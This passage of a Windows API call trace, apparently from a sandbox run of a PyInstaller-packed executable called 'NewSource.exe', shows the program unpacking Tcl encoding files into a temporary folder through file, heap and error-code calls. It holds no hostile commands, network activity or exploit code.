(dwErrCode=0x0) [0036.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-2.enc") returned 72 [0036.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-2.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-2.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.643] GetLastError () returned 0x2 [0036.643] SetLastError (dwErrCode=0x2) [0036.643] GetLastError () returned 0x2 [0036.643] SetLastError (dwErrCode=0x2) [0036.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-2.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-2.enc", lpFilePart=0x0) returned 0x47 [0036.643] GetLastError () returned 0x2 [0036.643] SetLastError (dwErrCode=0x2) [0036.643] GetLastError () returned 0x2 [0036.643] SetLastError (dwErrCode=0x2) [0036.643] GetLastError () returned 0x2 [0036.643] SetLastError (dwErrCode=0x2) [0036.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-2.enc") returned 72 [0036.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-2.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-2.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.643] GetFileType (hFile=0x10c) returned 0x1 [0036.643] htonl (hostlong=0x46040000) returned 0x446 [0036.643] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.643] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.650] CloseHandle (hObject=0x10c) returned 1 [0036.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.651] htonl (hostlong=0x30000000) returned 0x30 [0036.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.651] GetFileType (hFile=0x10c) returned 0x1 [0036.651] htonl (hostlong=0x78715500) returned 0x557178 [0036.651] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a2178, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.651] htonl (hostlong=0x16020000) returned 0x216 [0036.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x216) returned 0x550600 [0036.651] htonl (hostlong=0x16020000) returned 0x216 [0036.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.651] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.651] htonl (hostlong=0x46040000) returned 0x446 [0036.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x55e278 [0036.651] htonl (hostlong=0x16020000) returned 0x216 [0036.651] htonl (hostlong=0x46040000) returned 0x446 [0036.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.651] CloseHandle (hObject=0x10c) returned 1 [0036.651] GetLastError () returned 0x0 [0036.651] SetLastError (dwErrCode=0x0) [0036.651] GetLastError () returned 0x0 [0036.651] SetLastError (dwErrCode=0x0) [0036.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.652] GetFileType (hFile=0x10c) returned 0x1 [0036.652] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.652] CloseHandle (hObject=0x10c) returned 1 [0036.652] GetLastError () returned 0x0 [0036.652] SetLastError (dwErrCode=0x0) [0036.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.652] GetFileType (hFile=0x10c) returned 0x1 [0036.652] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.653] CloseHandle (hObject=0x10c) returned 1 [0036.653] GetLastError () returned 0x0 [0036.653] SetLastError (dwErrCode=0x0) [0036.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-3.enc") returned 72 [0036.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-3.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-3.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.653] GetLastError () returned 0x2 [0036.653] SetLastError (dwErrCode=0x2) [0036.653] GetLastError () returned 0x2 [0036.653] SetLastError (dwErrCode=0x2) [0036.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-3.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-3.enc", lpFilePart=0x0) returned 0x47 [0036.653] GetLastError () returned 0x2 [0036.653] SetLastError (dwErrCode=0x2) [0036.653] GetLastError () returned 0x2 [0036.653] SetLastError (dwErrCode=0x2) [0036.653] GetLastError () returned 0x2 [0036.653] SetLastError (dwErrCode=0x2) [0036.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-3.enc") returned 72 [0036.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-3.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-3.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.654] GetFileType (hFile=0x10c) returned 0x1 [0036.654] htonl (hostlong=0x46040000) returned 0x446 [0036.654] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.654] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.655] CloseHandle (hObject=0x10c) returned 1 [0036.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.655] htonl (hostlong=0x30000000) returned 0x30 [0036.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.655] GetFileType (hFile=0x10c) returned 0x1 [0036.656] htonl (hostlong=0x8e735500) returned 0x55738e [0036.656] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a238e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.656] htonl (hostlong=0x1a020000) returned 0x21a [0036.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21a) returned 0x550600 [0036.656] htonl (hostlong=0x1a020000) returned 0x21a [0036.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.656] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.656] htonl (hostlong=0x46040000) returned 0x446 [0036.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x55e278 [0036.656] htonl (hostlong=0x1a020000) returned 0x21a [0036.656] htonl (hostlong=0x46040000) returned 0x446 [0036.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.656] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.656] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.656] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.656] CloseHandle (hObject=0x10c) returned 1 [0036.656] GetLastError () returned 0x0 [0036.656] SetLastError (dwErrCode=0x0) [0036.656] GetLastError () returned 0x0 [0036.656] SetLastError (dwErrCode=0x0) [0036.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.656] GetFileType (hFile=0x10c) returned 0x1 [0036.656] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.657] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.657] CloseHandle (hObject=0x10c) returned 1 [0036.657] GetLastError () returned 0x0 [0036.657] SetLastError (dwErrCode=0x0) [0036.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.657] GetFileType (hFile=0x10c) returned 0x1 [0036.657] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.657] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.657] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.657] CloseHandle (hObject=0x10c) returned 1 [0036.658] GetLastError () returned 0x0 [0036.658] SetLastError (dwErrCode=0x0) [0036.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-4.enc") returned 72 [0036.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-4.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-4.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.658] GetLastError () returned 0x2 [0036.658] SetLastError (dwErrCode=0x2) [0036.658] GetLastError () returned 0x2 [0036.658] SetLastError (dwErrCode=0x2) [0036.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-4.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-4.enc", lpFilePart=0x0) returned 0x47 [0036.658] GetLastError () returned 0x2 [0036.658] SetLastError (dwErrCode=0x2) [0036.658] GetLastError () returned 0x2 [0036.658] SetLastError (dwErrCode=0x2) [0036.658] GetLastError () returned 0x2 [0036.658] SetLastError (dwErrCode=0x2) [0036.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-4.enc") returned 72 [0036.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-4.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-4.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.659] GetFileType (hFile=0x10c) returned 0x1 [0036.659] htonl (hostlong=0x46040000) returned 0x446 [0036.659] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.659] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.660] CloseHandle (hObject=0x10c) returned 1 [0036.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.660] htonl (hostlong=0x30000000) returned 0x30 [0036.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.661] GetFileType (hFile=0x10c) returned 0x1 [0036.661] htonl (hostlong=0xa8755500) returned 0x5575a8 [0036.661] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a25a8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.661] htonl (hostlong=0x8020000) returned 0x208 [0036.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x208) returned 0x550600 [0036.661] htonl (hostlong=0x8020000) returned 0x208 [0036.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.661] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.661] htonl (hostlong=0x46040000) returned 0x446 [0036.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x550810 [0036.661] htonl (hostlong=0x8020000) returned 0x208 [0036.661] htonl (hostlong=0x46040000) returned 0x446 [0036.661] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.661] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.661] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.661] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.661] CloseHandle (hObject=0x10c) returned 1 [0036.661] GetLastError () returned 0x0 [0036.661] SetLastError (dwErrCode=0x0) [0036.661] GetLastError () returned 0x0 [0036.661] SetLastError (dwErrCode=0x0) [0036.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: 